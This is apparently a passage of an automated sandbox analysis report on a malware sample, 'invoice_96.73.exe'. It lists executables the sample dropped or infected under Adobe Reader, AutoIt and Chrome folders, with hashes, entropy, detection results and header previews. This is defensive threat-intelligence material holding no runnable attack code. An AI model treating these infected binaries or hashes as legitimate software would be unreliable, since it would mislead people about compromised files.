SSDEEP:	12288:qk9WbSIlaftV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:ONgffVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	4E1B7382BF495F8A51ADCE4AEA3495C4
SHA1:	9C839D52E3817E58DA726C9DB3CC5DEC418634F4
SHA-256:	B24789921987FDC29EC31C32DAEE9E6B002370113088CEDD1987569BD74F363C
SHA-512:	7438AB682424CCBB1652A259F617146310C8A20D4C62C90C4E8C1CD3B148FC64F0A37AD404979B134DE8B49BFCAF86BB2C926FB979098AC09BF4B49341C3DA4D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........x2...a...a...a...a...a,x.a...a...`...a...`...a...`...a...`...a..`...a...aE..a..`...a..a...a..a...a..`...aRich...a........PE..L......\.........."......"..........b........@....@..........................@..............................................0{..@.......h............................W..T....................X......(X..@............@...............................text.... .......".................. ..`.rdata..XW...@...X...&..............@..@.data................~..............@....rsrc...h...........................@..@.reloc.......@......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1583616
Entropy (8bit):	4.162177050945906
Encrypted:	false
SSDEEP:	12288:DV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:pVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	0DD0F72160CD7216C85E9B5EBF27599E
SHA1:	92C83F1CCC23BF55B2C51673F822EE9AC3B1DE25
SHA-256:	D33CBE07BAFBCA83222989E3E89E233588EA5B1398A057BD83FC0C5D40495D38
SHA-512:	C853B7B1D6E8838BE2694317B9711EC1E2D265FC4A0A3FF1FA689A20710A377DCC07088273418850D2C4DDF51DD0074DE403A8BB43F8BA8A353732D514F0E0F2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.[.y.5Xy.5Xy.5Xp..Xw.5Xj.4Y{.5Xj.6Y\|.5Xj.1Yt.5Xj.0Y^.5X..1Y{.5X..4Yt.5Xy.4X..5X8.0Yz.5X8..Xx.5Xy..Xx.5X8.7Yx.5XRichy.5X........PE..L......\.........."..............................@..........................p.......%..........................................,....P..................................T...................x...........@...............X............................text...~........................... ..`.rdata..xP.......R..................@..@.data...8....0......................@....rsrc........P.......&..............@..@.reloc.......p.......:..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1707008
Entropy (8bit):	4.406026005466474
Encrypted:	false
SSDEEP:	12288:WRY+FUBAV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:Wu+qBsVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	A99D6FF89B6EE86B52E6359871AFA6A0
SHA1:	F5DF8E85DAE6514A921D8B7CBD8549EC6833A124
SHA-256:	0216CF415D0DC8C3FF573802C380F74446E37AE8A9FEBEF767C0C88B8A7C32E8
SHA-512:	5E1662EA27354E02D8F5F35BA19D613B20DD570852AB8CF67BD80F4BB61511C7DC94D6E2BAB040B83CCEAD54637FD5499A15359DFFF1722BF9C492766AC4F986
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K..*...y...y...y...y...y..x...y..x...y..x...y..x-..y..Ey...yb.x...y...y..yN.x...yN.}y...yN.x...yRich...y........PE..L...<..[................. ...................0....@..........................P.......C..............................................0...............................J..p....................K.......J..@............0...............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data....E.......B..................@....rsrc........0......................@..@.reloc.......@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843200
Entropy (8bit):	4.587554167916646
Encrypted:	false
SSDEEP:	24576:7KhyDZTRW8fdeLVg9N9JMlDlfjRiVuVsWt5MJMs:7K0DZT88fmgFIDRRAubt5M
MD5:	E426DA684F5DD9483B572E354F9C2E9B
SHA1:	4DBE45525F1BA3B27A05AD755CDA07D7FF1E47E0
SHA-256:	3A0A679943326BD6A0733EBDFAE6BC9A40F194EA03AAEF5157FFD8F93628DEFD
SHA-512:	526DE92544CAA4683B446A9B18E21779E667C3E5DFF7122E3A2C1F480D2EF9F7FABF3EAB0C72EE0DB2E2FE539E84D918D3166A4CE485AA4A20A30A69BFB843AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d... _.l...].`...^.q...[.`..._.m.....e..C...n..d......).k..C.C.r..C.Y.e..d...e..C.\.e..Richd..................PE..L......X............................-.............@..........................`.......&..................................................P...............................................................@............................................text...k........................... ..`.rdata..............................@..@.data...l...........................@....rsrc...P...........................@..@.reloc...p.......`..................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1577472
Entropy (8bit):	4.157281945299063
Encrypted:	false
SSDEEP:	12288:gYmIjE72V3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:g7mVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	04408308F16C1D6310905555DBBDB31B
SHA1:	EDEFFD82269C62B559A351BE39C78C2B581FA983
SHA-256:	5EDF76B9D4349429EEA2F8F37862901C85F9B5858C2E4212121AFAC1784879D9
SHA-512:	A0335B4785A8A3B9C4CE0CD1D6D60BE77897B5C506E5A6F4D49ABBEFB973239BCB3BEB16123FB1D2D34070B538D7504B8C8681D3C2D47981273457C9B217A151
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................T.............................{............................Rich..........................PE..L.....6P.....................f......<3............@..........................`......i_..........................................x....P..............................................................p...@............................................text...)........................... ..`.rdata..v7.......8..................@..@.data...$-... ......................@....rsrc........P......................@..@.reloc.......`......."..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1595392
Entropy (8bit):	4.195270947705186
Encrypted:	false
SSDEEP:	12288:e5YyV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:exVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	93ECC0182FD713DB083D28EB0774B76C
SHA1:	E336788384C1A559F0EF74A0BF5A15EEC193C63E
SHA-256:	5F2C1694CDF9DF24A7F4E8C3EF6DF744AF58F61411DF22CD2E6E1E6D6606D302
SHA-512:	198AB2E8771409234260197AFE3ABEF48BEFF3BB2D4F0FAEE65618A6039AAB9F3C034A7E6E867C5114F3E4B838AEBA5A0E819315E956A85119900FAFC1AC1298
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............n..n..n..?"..n..<...n..<#..n..<...n..<"..n.~....n.~....n..n.7n..."..n...&..n..<...n..nT..n......n.Rich.n.................PE..L...f..Y.....................b...............0....@..................................g......................................._......................................P2..8............................;..@............0...............................text............................... ..`.rdata..4<...0...>... ..............@..@.data........p.......^..............@....rsrc................b..............@..@.reloc...............h..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1732608
Entropy (8bit):	4.386290156972333
Encrypted:	false
SSDEEP:	12288:ZZKK0HMYcykV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:3ZpbVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	898B09A3E346C141493C7DEAD503AC53
SHA1:	810EF47FFAA4FAE8B917CD51A350F2B8161333BF
SHA-256:	53900E600713BCB8A95F17627953DA895E9EB6203F87427F21EC7BBAF079E048
SHA-512:	C68A1B8D9BDD62F8ACE8A197D7EA8F31B6C52003B3C693B57B09EE882E34CE94E9AC81999761136D8C58FEC7546039477569918171F29D1AAB721E9A8012F62D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G............E......E.,....E...;..D......%=.....%8.........D.......(......d....D-....Rich...................PE..d...t..Y.........."......T...h......XC.........@.....................................F.... .................................................PV..d...............X................... t..8...............................p............p..x............................text....R.......T.................. ..`.rdata.......p.......X..............@..@.data...pE...p... ...L..............@....pdata..X............l..............@..@.rsrc...............................@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1543168
Entropy (8bit):	4.075564156725552
Encrypted:	false
SSDEEP:	12288:RFyiV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:Hy6Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	5797A8B1CAF52315AD82E580FACFC1E6
SHA1:	27E45EEED5F73D27A52A748559CCFFF128B0F30B
SHA-256:	D2ED6F86AA37CFCAC56D790359E087E67D8A21BD6AAFFD44B856D471ACA5CE8F
SHA-512:	B4FCDFB144D9519346F5EC8B82A3CA6A38FDC1A42D067BC6B9EA1D49967D2661CE2CCDF1D7AA082DEEF5EFDE78097D1BD231F2734BBE016941D7847DF49F7D38
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................_..................................................3......[..........Rich...........................PE..L...[..\.................P...d.......P.......`....@.....................................................................................p...........................p...T..............................@............`...............................text....N.......P.................. ..`.rdata..rG...`...H...T..............@..@.data...\...........................@....rsrc...p...........................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1599488
Entropy (8bit):	4.16638758560332
Encrypted:	false
SSDEEP:	12288:irQl8HoaV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:5hiVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	CA49B6DF517028B16EDE32892D2AFFDE
SHA1:	9713125FA4944BFD4B0200D947A9FC334B957681
SHA-256:	D0D6FCFFB81FBBDB95FDCBC1448C2F3D1789A3E025C5B12C7E64BDCCA5FA9FDC
SHA-512:	92980ABB3255EAD24379EAEF98B1ECCA973AE35FDE4F4284F5FEEE0550C95E3C5B9F518F162E1FCC10706386A176971E2C319A532C376E56EBB560D9D4556C34
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...NY..NY..NY.JX..NY.MX..NY.KX..NY..MX..NY..KX..NY..JX..NY.OX..NY..OY..NY.KX..NY..Y..NY...Y..NY.LX..NYRich..NY................PE..d......\.........."............................@.......................................... .................................................\k..(...................................PV..T............................V..................@............................text... ........................... ..`.rdata..............................@..@.data................h..............@....pdata...............r..............@..@.rsrc...............................@..@.reloc..............................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Check.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1687552
Entropy (8bit):	4.313818645494306
Encrypted:	false
SSDEEP:	12288:1TjfjLHPQMNUV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:trnhWVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	75D97E572A9013194CAE6738A4FB31C7
SHA1:	5EFBB68D9F7982E2DEAEAEB4B450593632709E2F
SHA-256:	45C882127753B3D5756BA1FF9FAC3FF9AA201BD496D7220BBA33131AD87622E3
SHA-512:	0EA690AC32F9A33936F1AEAA5CA87E52D39CF3B589779AEE09D7BF3EC03D982573CCB9C3B1F9962A4624A852861C6297DE9F114952D8557295098E70E111B53A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...Z.H.Z.H.Z.H...H.Z.H..#H.Z.H.."H.Z.H."PH.Z.H.Z.H.Z.H).&H.Z.H...H.Z.H.ZTH.Z.H)..H.Z.HRich.Z.H................PE..L......U..........................................@...........................".....x...........................................<.......................................................................@............................................text............................... ..`.rdata..Z).......*..................@..@.data...h...........................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1699840
Entropy (8bit):	4.438659403542636
Encrypted:	false
SSDEEP:	12288:Stymff2j6BaOV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:Mc6B/Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	0C5634087A7A7068E21A81F375727BD7
SHA1:	9BDFEAA5BC124E619999D32939FDE60B82CAEE90
SHA-256:	A1EA1F9A370835EAF7E9DC1C5942CCAF1B0A77B251F0062138F46456A87D8E97
SHA-512:	0884C44F4E7B36EBE5DDCF4CD16CE6A909CDF298C2E2112A97BC66049D56E00CFD49E956292D8550038E45120AC6B8C6AC700BE3A0E4D0C9426CDF1B6A80692B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U2s.4\ .4\ .4\ .f. .4\ .f. .4\ .f. .4\ .L. .4\ .4] m4\ w.. .4\ .f. .4\ .4. .4\ w.. .4\ Rich.4\ ................PE..L......U.........."..................c............@...........................'......5.......................................f..........0............................................................a..@............................................text...G........................... ..`.rdata...d.......f..................@..@.data...L............f..............@....rsrc...0............x..............@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1719296
Entropy (8bit):	4.435603618413048
Encrypted:	false
SSDEEP:	12288:rZ1Cjmff2jrV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:rZ1nchVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	AEFE4C5BE8C5EF6327CDAF133F7CC9F1
SHA1:	2D704BDF5DE5CD64C2CC8420094C7A64239DBABE
SHA-256:	AD79A3793E07A165135CE6A4598EF238EB0D9208B13231DB3EF7166EC29E8C79
SHA-512:	3883704CBB891340828CA77B07322E3C4F7A5D6CF94B0747E9E7E963686D0ED5D336016288BAC56E5A169F1544BC9AA2C46A74D2587D5EAA37DDD127C371DB18
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................f......g.....X..........._...^.b.....\........^.Y...Rich..........PE..d......U.........."..........,......\|y.........@.............................P'......_.... .............................................................0...............................................................p............0..@............................text............................... ..`.rdata.......0....... ..............@..@.data...............................@....pdata..............................@..@.rsrc...0...........................@..@.reloc.......`.......\..............@...........................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1964032
Entropy (8bit):	7.7204574288691346
Encrypted:	false
SSDEEP:	49152:W4q2jqcpGen6e9zVvZUDZngFIDRRAubt5M:W4q/YB68VvZtUf
MD5:	0F31D923017D4C09697139E9672FFFEE
SHA1:	F2E8CD046379687EDBD1C930CA5627A663D547BA
SHA-256:	1BFD3673EC9ADEBC9E4C249BCF7090232121AEE16A7AC5220B7014EA3E6875F3
SHA-512:	5F89E25E1AB89E46EA4AB1F7705E0EA8D07FEECA4D18E8FCD0D62131144CB61F72322B50E1F3B739D27114D0DFF830AC05242184D82704601C3566B25A8B079C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=..S..S..S.....S......S.....S..C...S..C...S..R.!.S.b"....S.....S.....S.b"...S.Rich.S.........................PE..L......U..........#..................v............@..........................`.......n...................................................\|...........................................................i..@............................................text............................... ..`.rdata..<...........................@..@.data...lW....... ..................@....rsrc....`.......P..................@...................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2005504
Entropy (8bit):	7.675161153877697
Encrypted:	false
SSDEEP:	49152:A4Ext4q2jqcpGen6e9zVvZUDZngFIDRRAubt5M:An4q/YB68VvZtUf
MD5:	81BBA3A263CBEAC75B842C1B8DA770E0
SHA1:	42C1A8C25CB3CF68601C7AF00F3113B4590CE1B9
SHA-256:	2C6E5EB5D8E277B7328A8EE0143CF21D61F4FB3969CAEC655A3C32DDB7990E1D
SHA-512:	8E382FD4887A54551063AF15087D65F7C4A5BEB865D7EFFF6D42E43C3C6D9FFB3C59B1F174C7C41B54DE77AB160755D436F4368A99F626FCBA857C5652F748E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............H..H..H..pHr..H..OH..H..qH.H.E^H..H.E[H..H..H)..Hf$uH.H..KH..H..H..Hf$NH..HRich..H........PE..d......U..........#............................@.....................................`.... .................................................t............\|..........................................................`...p............................................text...{........................... ..`.rdata...C.......D..................@..@.data....k... ...,..................@....pdata........... ...*..............@..@.rsrc....`.......P...J..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1610752
Entropy (8bit):	4.148018510943642
Encrypted:	false
SSDEEP:	12288:PvXk1EV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:3k14Vg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	E48801CC2E48B078A0771680629B02BC
SHA1:	750A2B38C492474CCCC96A99F15F343BA5D48BED
SHA-256:	98132325142A5627663B923238B5466884BECAE87EF7BD1A59967280F6355469
SHA-512:	D8C18FB33432F512DAF4B7BEBAA927A53C9D01B883B7FC2B830D0A4880EE7C0B7DC405FE2941F88E522ACE6066DEAC64DD454A7C55C664216EEDEDE18936594B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........c...c...c...1I..c...1w..c...1H.c....;..c...c..c....,..c..x.M..c...1s..c...c?..c..x.v..c..Rich.c..........PE..L......U............................k!............@..................................7......................................\|...d....p..................................................................@...............p............................text............................... ..`.rdata...R.......T..................@..@.data....2...0......................@....rsrc........p......................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1630720
Entropy (8bit):	7.232816007706908
Encrypted:	false
SSDEEP:	49152:cUdZ4gviAgdj8pRIy+taTPigFIDRRAubt5M:cR5j8pDrUf
MD5:	80849CEF08FA58BE5BD6D74445FE4E70
SHA1:	3BCA76567CCFD0CE2B47DA0D63607CBDAEF368C7
SHA-256:	B9105E5B148478FA991267C8D287FA2FE66A0D6018E641BA473DA7F7970E6DD1
SHA-512:	B4FCEB9B6DD118B9D73D3E46B5D9CAE4A1047D0198FF05EE3E42D537FEB9F19D2125DB54500F87D4C14AA4616A383068BDDDD23E71663C59C893330C5105287B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v.Th2.:;2.:;2.:;.b.;3.:;t..;..:;t..;+.:;t..;..:;;..;:.:;;..;3.:;;..;..:;2.;;..:;.\.;b.:;.\.;3.:;?..;3.:;2.;0.:;.\.;3.:;Rich2.:;........................PE..d......U..........".................d..........@.......................................... ...@...............@..............................u..\|............p...i..................`...............................p...p............... ............................text...i........................... ..`.rdata..............................@..@.data...0........^..................@....pdata...i...p...j..................@..@.rsrc................Z..............@..@.reloc..............................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829964
Entropy (8bit):	7.265211258010209
Encrypted:	false
SSDEEP:	49152:FaKJTypekiPKQTvOTaTfjBxr8RWgFIDRRAubt5M:dGpeBPBDXkUf
MD5:	865DCBC6AA37DD1B7BFF0A0F37B76755
SHA1:	2672CD747FAEDD7D1E58770F52F1E2A04B1B3136
SHA-256:	B4217DBBCCB010FAC1E73EF0CE11B9C37627F6C734E1EE0A0E0EB8019A10DF13
SHA-512:	A7198BE8D56208D5C54774CBD7E3B6EB42A1B52574311CB381AF5C21EC081EA0F24CE84875FF97235F88F0AFD4D0B55507DC139CC1EADA3642E1FA9A0A9EB8B5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<.._].._].._]..R. ..]..R....]..R.!.L\..V%B.\]..V%R.F].._]...\....$.=]......^]..R...^].._]V.^]......^]..Rich_]..........................PE..L......U.....................j....................@...........................%.....................................................................................................................0...@............................................text............................... ..`.rdata..............................@..@.data...<...........................@....rsrc................J..............@..@........................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Process:	C:\Users\user\Desktop\invoice_96.73.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1658880
Entropy (8bit):	4.312984783745722
Encrypted:	false
SSDEEP:	24576:lxGBcTlkVg9N9JMlDlfjRiVuVsWt5MJMs:LGyhkgFIDRRAubt5M
MD5:	38BDB885A492FB07195A5DF3F45BA0BB
SHA1:	C520EDE3BED4D97507530ECE268D619A22C41979
SHA-256:	3101297E117D91C618EFA880714D5963CE4EDAFEAE5A3252F1154E72A12877E0
SHA-512:	6BBB100B03308CC0FB0F2638592F2080837AF741B8DEDB7705EA2B06FA67D038DC9D2FFB8B943BDFB8DEBC3E0C2D9C9828DB48637EE49084685A5933874F293F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...V.+d..........................................@..................................l......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...............`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2294272
Entropy (8bit):	7.039446570157768
Encrypted:	false
SSDEEP:	49152:u3wR2xs4r4VMm9qRzzFbju+Gb2PJsWT12ngFIDRRAubt5M:t24dqRzgOJ2gUf
MD5:	81F69B7ADB54A4B19582226700CDDA63
SHA1:	79DEB0372C368D50A3498837E0C5674B21708041
SHA-256:	96F391751ACCE5B40792E088A8221C0333463286672B7B70B88F6AB47E72F40B
SHA-512:	06085437BF1793DCB553461E11AEF32645A4A44C923F8660C6ADE5D40F0DBBEBBD079D7A8384D4181C5D4CBDC81835CF28591A6A273A3A731A4D5B97AF959DD8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...w..c.........."..........F.................@.............................P$.......#... ..........................................U..Z...rU.......0..........D....................C.......................B..(.......8............]...............................text............................... ..`.rdata...5.......6..................@..@.data........0......................@....pdata..D...........................@..@.00cfg..(...........................@..@.gxfg....).......*..................@..@.retplnel................................tls................................@....voltbl.F..............................._RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......P......................@...........................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\logECFE.tmp

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2257
Entropy (8bit):	4.574646680658393
Encrypted:	false
SSDEEP:	48:mHAfECJTkRK1mtKiJqLXJkqI6v3BqMdJ/Jd2enyD:wAfECJTkFKiJqLWk3oMdJ/Jd25
MD5:	F39DBD2946034C065D2E560FE4ED6BAC
SHA1:	B0FA999C3C2EDA0FFEDEBCB60F25A1965B1DD9CE
SHA-256:	BEAE30D4E7E25EFFB24E1B2EEA0593489FF5C1A815C8CF673249E055F54FA497
SHA-512:	CB62DDC4CB456B6DFF4B3EBE4C50DBEEA47C8A127C0DE1250E2EA41C1EAACAFB2CB47B9E605A69B9FC6F83839CB00CE4EA86F08CE133638BABCE408A44D728D5
Malicious:	false
Preview:	Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...Disabled unneeded token privilege: SeAuditPrivilege...Disabled unneeded token privilege: SeBackupPrivilege...Disabled unneeded token privilege: SeCreateGlobalPrivilege...Disabled unneeded token privilege: SeCreatePagefilePrivilege...Disabled unneeded token privilege: SeCreatePermanentPrivilege...Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..Disabled unneeded token privilege: SeDebugPrivilege...Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..Disabled unneeded token privilege: SeImpersonatePrivilege...Disabled unneeded token privilege: SeIncreaseBasePriorityPrivilege...Disabled unneeded token privilege: SeIncreaseQuotaPrivilege...Disabled unneeded token privilege: SeIncreaseWorkingSetPrivilege...Disabled unneeded token privilege: SeLoadDriverPrivilege...Disabled unneeded token privilege: SeLockMemory

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log (copy)

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2257
Entropy (8bit):	4.574646680658393
Encrypted:	false
SSDEEP:	48:mHAfECJTkRK1mtKiJqLXJkqI6v3BqMdJ/Jd2enyD:wAfECJTkFKiJqLWk3oMdJ/Jd25
MD5:	F39DBD2946034C065D2E560FE4ED6BAC
SHA1:	B0FA999C3C2EDA0FFEDEBCB60F25A1965B1DD9CE
SHA-256:	BEAE30D4E7E25EFFB24E1B2EEA0593489FF5C1A815C8CF673249E055F54FA497
